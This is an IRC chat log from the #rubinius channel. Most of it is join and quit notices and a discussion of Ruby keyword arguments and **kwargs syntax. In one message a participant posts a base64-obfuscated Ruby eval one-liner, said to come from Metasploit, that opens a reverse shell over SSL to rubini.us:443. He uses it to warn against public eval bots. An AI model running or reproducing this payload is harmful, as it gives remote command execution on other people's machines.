00:19
meh` has quit [Ping timeout: 264 seconds]
01:11
dzhulk has quit [Quit: Leaving.]
02:54
lbianc has quit [Ping timeout: 264 seconds]
03:10
havenn has joined #rubinius
03:10
havenwood has quit [Ping timeout: 250 seconds]
04:22
|jemc| has joined #rubinius
05:26
diegovio1 has joined #rubinius
05:28
diegoviola has quit [Ping timeout: 264 seconds]
05:28
diegovio1 is now known as diegoviola
06:01
djellemah has joined #rubinius
06:13
djellemah has quit [Ping timeout: 264 seconds]
06:38
houhoulis has joined #rubinius
06:49
havenn has quit [Remote host closed the connection]
08:13
andrewstewart has quit [Read error: Connection reset by peer]
08:13
machty has quit [Read error: Connection reset by peer]
08:17
andrewstewart has joined #rubinius
08:19
machty has joined #rubinius
09:02
machty has quit [Ping timeout: 252 seconds]
09:05
machty has joined #rubinius
09:28
machty has quit [Ping timeout: 245 seconds]
09:31
machty has joined #rubinius
09:42
max96at|off is now known as max96at
11:31
Bwild has quit [Quit: leaving]
13:16
dzhulk has joined #rubinius
13:25
<
RageLtMan >
is there a convenient way to access the keyword arguments passed to a method?
13:28
dzhulk has quit [Quit: Leaving.]
13:40
<
yorickpeterse >
RageLtMan: you access them as regular variables
13:40
<
yorickpeterse >
def foo(number: 10); number; end
13:57
dzhulk has joined #rubinius
14:21
dzhulk has quit [Quit: Leaving.]
14:32
houhoulis has quit [Remote host closed the connection]
14:57
havenwood has joined #rubinius
15:47
cremes_ has joined #rubinius
15:50
cremes has quit [Ping timeout: 250 seconds]
15:50
cremes_ is now known as cremes
16:50
meh` has joined #rubinius
16:53
diegoviola has quit [Read error: Connection reset by peer]
17:54
dzhulk has joined #rubinius
17:55
dzhulk has quit [Client Quit]
18:43
amclain has joined #rubinius
18:56
<
RageLtMan >
yorickpeterse: i was thinking more along the lines of def foo(var1: x, var2:y); something_to_access_args.keys. each ... end; end
18:56
<
RageLtMan >
similar to the unabstracted passing of an opts hash and accessing that
19:08
<
|jemc| >
>> def meth **kwargs; p kwargs; end; meth foo:1, bar:2
19:09
<
|jemc| >
heh, forgot eval bot wasn't around in this channel
19:20
<
RageLtMan >
an eval bot sounds like an awful idea :)
19:21
<
RageLtMan >
because this: "eval(%(cmVxdWlyZSAnc29ja2V0JztyZXF1aXJlICdvcGVuc3NsJztjPU9wZW5TU0w6OlNTTDo6U1NMU29ja2V0Lm5ldyhUQ1BTb2NrZXQubmV3KCJydWJpbmkudXMiLCI0NDMiKSkuY29ubmVjdDt3aGlsZShjbWQ9Yy5nZXRzKTtJTy5wb3BlbihjbWQudG9fcywiciIpe3xpb3xjLnByaW50IGlvLnJlYWR9ZW5k).unpack(%(m0)).first)" would be bad
19:21
<
RageLtMan >
I wrote that for metasploit a while back... same with every other major language
19:22
<
RageLtMan >
script based payloads are hell on earth for IDS because of obfu tricks like that, so auto-eval is probably not the brightest idea
19:25
<
|jemc| >
RageLtMan: there's in eval bot in #ruby and #ruby-lang
19:25
<
|jemc| >
*an eval bot
19:27
<
RageLtMan >
That payload creates a reverse shell to rubini.us:443 :)
19:28
<
RageLtMan >
We could sub in a stub for it to just do an http request to a server we control to check whether it works, but that would still probably constitute unlawful access so i'd check with them 1st...
19:30
<
RageLtMan >
also if i def meth **kwargs; ... end; do i still have access via the standard keywords? can i call meth(kwarg0: 1) an access it via kwarg0 in the method?
19:31
<
|jemc| >
RageLtMan: nope, you don't get both implicitly
19:31
<
|jemc| >
you can always do:
19:32
<
|jemc| >
var1 = kwargs.fetch(var1, :default_value_for_var1)
19:46
<
RageLtMan >
odd: ArgumentError: method 'initialize': given 5, expected 1
19:49
<
RageLtMan >
gotcha. cant call with positional args when KWA are defined in the init method
19:50
<
|jemc| >
RageLtMan: you can do both
19:50
<
|jemc| >
def meth *args, **kwargs; end
19:50
<
|jemc| >
def meth arg1, arg2, **kwargs; end
19:50
<
RageLtMan >
def foo(m1: 1, m2: 2); p m1; p m2; end;foo(2,3) => "ArgumentError: method 'foo': given 2, expected "
19:51
<
|jemc| >
an argument is either a positional or named argument
19:51
<
RageLtMan >
Sorry im just now getting to the KWA bit since i've been writing 1.9 compat code
19:51
<
|jemc| >
ut you can mix them - as long as the keyword arguments are at the end
19:53
<
|jemc| >
def foo a, b=88, *all_other_args, x:, y:99, **all_other_kwargs; end
19:53
<
RageLtMan >
that looks like some perlism more than a rational language, but makes sense
19:54
<
|jemc| >
just demonstrating the possibilities
19:54
<
|jemc| >
you can have mandatory and optional, positional and optional
19:54
<
RageLtMan >
thank you, it makes sense
19:54
<
|jemc| >
as well as "splats" and "keyword splats"
19:54
havenwood has quit []
19:54
<
RageLtMan >
ah, so you can ignore the positionals by just passing in kwa?
19:55
<
|jemc| >
well, if they're mandatory (no default value), you have to pass them
19:55
<
RageLtMan >
def foo(positional = 0,kwa1: 1,kwa2: 2);...;end; allows me to call foo(kwa1: 3); and ignore the positional arg?
20:32
dzhulk has joined #rubinius
20:39
Caius has quit [Ping timeout: 276 seconds]
20:40
Caius has joined #rubinius
20:49
nirvdrum has joined #rubinius
21:19
Bwild has joined #rubinius
21:25
bffff_ has joined #rubinius
22:02
havenwood has joined #rubinius
22:15
Bwild has quit [Remote host closed the connection]
22:34
dimday has joined #rubinius
23:17
Bwild has joined #rubinius
23:50
GitHub112 has joined #rubinius
23:50
<
GitHub112 >
[rubinius] jemc opened pull request #3311: Add the try_find_const_fast instruction (master...master)
http://git.io/bdxC
23:50
GitHub112 has left #rubinius [#rubinius]